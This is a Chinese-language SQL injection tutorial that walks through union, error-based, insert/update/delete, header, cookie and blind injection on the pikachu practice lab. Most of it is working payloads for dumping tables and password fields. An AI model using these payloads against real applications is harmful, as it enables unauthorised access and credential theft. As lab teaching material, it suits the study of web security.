注入攻击类型与方式
主要有:union注入、insert/update注入、delete注入、http header注入、盲注(base on boolian)、盲注(base on time)、函数报错、宽字节注入、二次注入、偏移注入等
一、union注入(联合查询)用的比较多
1、在数据库练习
mysql> show databases;
mysql> use pikachu;
mysql> selectid,email from member where username='kevin' union select username,
pw from memberwhere id=1;
2、pikachu平台
输入 v' union selectusername,pw from member where id=1#%
输入 a' order by 4#% order by是排序,这是查找主字段
a' order by 4#% 将数字4改成3 结果显示如下,页面返回显示正常,说明主查询的字段是3个。
通过这个简单的办法找到主查询一共有三个字段。之后我们来使用union来做一个SQL语句的拼接。输入构造好的语句a' union select database(),user(),version()#%,反馈如图:
二、information_schema注入
information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。先找出数据库的名称,输入vince' union select database(),user(),3#%得到反馈,判断数据库名称为pikachu。
获取pikachu数据库的表名,输入:u' union select table_schema ,table_name,3from information_schema.tables where table_schema='pikachu'#
获取pikachu数据库的字段名,输入:k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
获取字段值的内容,输入:kobe'union select username ,password,3 fromusers#%
三、基于函数报错注入
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息.
1、三个常用的用来报错的函数
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor():MYSQL中用来取整的函数.
1、爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1) #
2、爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECTuser()),0x7e),1)#
3、爆数据库
k' and updatexml(1,concat(0x7e,(SELECTdatabase()),0x7e),1) #
4、爆表
获取4数据库表名,输入:k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#,但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
输入k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#更改limit后面的数字limit 0完成表名遍历。(改0更换表名)
5、爆字段
获取字段名,输入:k' and updatexml(1,concat(0x7e,(selectcolumn_name from information_schema.columns where table_name='users'limit 2,1)),0)#
6、爆字段内容
获取字段内容,输入:k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
四、insert注入
insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
到数据库中输入insert into member (username,pw,sex,phonenum,email,address) values('oldboy',123456,1,2,3,4);来插入一个用户,在输入select * from member;查看所有用户
进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload,
1.爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
2.爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
3.爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
五、update注入
与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用于用户注册端。
一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过Burp抓包在用户名输入相关payload,
update注入 ' or updatexml(0,concat(0x7e,(database())),0) or'
六、dalete注入
一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0) 空格要转码
七、Http Header注入
先在pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中,
输入payload Mozilla' orupdatexml(1,concat(0x7e,database ()),0) or '
八、Cookie注入
Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。
在ant[uname]=admin后添加一个
'and updatexml (1,concat(0x7e,database()),0)#
九、Boolian(布尔型)盲注
SQL盲注分为三大类:基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注
select ascii(substr(database(),1,1))<113
十、base on time(时间型)盲注
判断是否存在注入点,如果存在注入点则该界面会查询6秒(6秒是参数中设置的查询时间)
vince' and sleep(6)#